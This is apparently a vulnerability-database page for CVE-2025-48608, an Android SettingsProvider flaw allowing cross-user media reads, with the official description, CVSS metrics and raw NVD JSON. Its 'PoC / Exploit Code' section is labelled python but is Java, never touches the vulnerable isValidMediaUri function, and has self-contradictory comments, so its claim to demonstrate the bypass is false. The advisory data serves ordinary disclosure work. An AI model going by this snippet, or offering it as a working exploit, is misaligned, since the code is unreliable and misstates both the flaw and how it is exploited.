Security Vulnerability Report
中文
CVE-2025-48608 CVSS 5.5 MEDIUM

CVE-2025-48608

Published: 2025-12-08 18:15:52
Last Modified: 2025-12-08 20:15:50

Description

In isValidMediaUri of SettingsProvider.java, there is a possible cross user media read due to a missing permission check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:* - VULNERABLE
Android 16 QPR2 (受影响的具体版本需查看官方安全公告)
使用存在漏洞的SettingsProvider组件的所有Android版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-48608 PoC - Android SettingsProvider Media URI Validation Bypass // This PoC demonstrates the permission check missing in isValidMediaUri // Attack scenario: A malicious app with minimal permissions can read // media files from other users/profiles // Step 1: Attempt to access media URI from different user context String maliciousUri = "content://media/external/images/media/"; // Step 2: Bypass validation in isValidMediaUri // The function does not properly validate user context ContentResolver resolver = getContentResolver(); // Step 3: Read media file without proper authorization try { InputStream is = resolver.openInputStream(Uri.parse(maliciousUri)); // Successfully read cross-user media data // This should have been blocked by permission check } catch (SecurityException e) { // Exception not thrown due to missing permission validation } // Note: This is a conceptual PoC. Actual exploitation requires // understanding of Android's multi-user architecture and // specific media URI patterns.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-48608", "sourceIdentifier": "[email protected]", "published": "2025-12-08T18:15:51.683", "lastModified": "2025-12-08T20:15:50.400", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In isValidMediaUri of SettingsProvider.java, there is a possible cross user media read due to a missing permission check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "02882AB1-7993-47DD-84A0-8DF4272D85ED"}]}]}], "references": [{"url": "https://source.android.com/security/bulletin/android-16-qpr2", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}